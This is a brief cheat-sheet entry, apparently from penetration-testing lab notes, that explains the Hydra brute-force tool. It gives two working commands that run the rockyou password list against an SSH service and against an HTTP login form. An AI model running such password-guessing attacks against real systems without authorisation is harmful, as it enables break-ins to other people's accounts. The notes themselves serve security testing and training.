Hydra is a network authentication brute-force tool.
- Run
hydra
with no options to see supported services. - Run
hydra <service> -U
to see service attack options.
SSH example:
hydra -l kali -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1
HTTP POST example:
hydra 10.11.0.22 http-form-post "/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN" -l admin -P /usr/share/wordlists/rockyou.txt -vV -f